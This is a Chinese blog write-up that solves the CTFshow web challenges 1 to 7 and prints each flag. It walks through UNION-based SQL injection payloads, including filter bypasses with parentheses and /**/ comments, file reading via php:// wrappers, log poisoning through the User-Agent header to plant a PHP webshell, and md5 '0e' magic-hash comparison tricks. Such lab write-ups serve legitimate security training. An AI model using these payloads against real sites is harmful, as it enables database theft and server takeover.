CtfShow-web-1~7

1. web1
2. web2
3. web3
4. web4
5. web5
6. web6
7. web7

第一关


在这里插入图片描述

第一关很简单,启动环境,进入连接后,页面问,flag在哪里,直接按F12查看源码。

在这里插入图片描述
在这里插入图片描述

将这个加密字符串,解密后就是flag了。

解密的网址
在这里插入图片描述

ctfshow{dfbcb744-e937-4b08-9858-0a70274d3229}

第二关


在这里插入图片描述

很明显是sql注入,应为这里是登录,我们使用select 判断输出位。

1'or 1=1 union select 1,2,3;#

在这里插入图片描述


在这里插入图片描述

查询当前使用数据库-web2
-1'union select 1,database(),3;#

在这里插入图片描述


查询所有的表
-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3;#

在这里插入图片描述


查询flag表字段名
-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='web2'),3;#

在这里插入图片描述


查询flag数据
-1'union select 1,(select group_concat(flag) from web2.flag),3;#

在这里插入图片描述

ctfshow{30106bc0-f0f3-4a4a-8b53-a88a2c4d9ca7}

第三关

在这里插入图片描述

根据靶机页面提示,可知到,本关卡考点是任意文件读取。
在这里插入图片描述
这里我们使用php的伪协议中的php://,来读取和执行我们的命令。

关于php伪协议,可以下面这偏文章:
https://blog.csdn.net/m0_73720136/article/details/130543930

在这里插入图片描述
执行了ls命令之后,我们可以看到出现了两个文件。我们读取这个ctf_go_go_go文件。
在这里插入图片描述

ctfshow{1c2b9571-4339-48cf-94a3-196c6ac08686}

第四关

在这里插入图片描述
这一关依旧是文件读取,但是发现伪协议不行了
在这里插入图片描述

这里读取当前环境的日志文件,读取成功,那么可以使用日志注入webshell。我们写入的php一句话会被解析从而实现shell的写入。
在这里插入图片描述

BP抓包,在UA头写入webshell一句话木马。然后放包访问。
在这里插入图片描述

然后使用一句话木马连接。成功找到flag。
在这里插入图片描述
在这里插入图片描述

ctfshow{a55835a0-d14e-44f0-9ac1-ebea1e77245e}

第五关


在这里插入图片描述
在这里插入图片描述

根据提示源码,需要输入两个参数,v1,v2。且v2是数字,v1是字符串,且它们的md5值需相同。
该靶场环境是php搭建的。
故:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

以下是两个md5以0E开头的字符串和数字。

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

输入即可
在这里插入图片描述

第六关

在这里插入图片描述
看页面,肯定是sql注入无疑了。
fuzz了一下,发现过滤了空格。
空格被过滤了,可以使用 ()或者/**/行内注释进行绕过。
在这里插入图片描述
已经发现过滤,和已经成功绕过,后面的就好办了,重复写sql就行了。
这里是登录,不能使用order by进行探测。可以直接使用 union select 1,2,3……进行探测输出位。
在这里插入图片描述

获取数据库
1'union(select(1),database(),3)#

获取表
1'union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3);#

获取表字段
1'union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),3);#

获取数据
1'union(select(1),(select(flag)from(web2.flag)),3);#

flag
ctfshow{665fcdc5-e8d2-42ee-81ff-a9818bbffe86}

第七关


在这里插入图片描述

点击文章发现该靶场是以get方式的传参,无疑是sql注入了。
但经过fuzz发现,过滤了空格和()
但是我们依然可以使用//进行绕过**
在这里插入图片描述

查当前所使用的数据库
1'/**/union/**/select/**/1,database(),3#

查表名字
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3#

查字段名字
1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#

查数据
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),3#

在这里插入图片描述

ctfshow{7aea9b9d-aa46-416c-927f-3eed7b486156}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值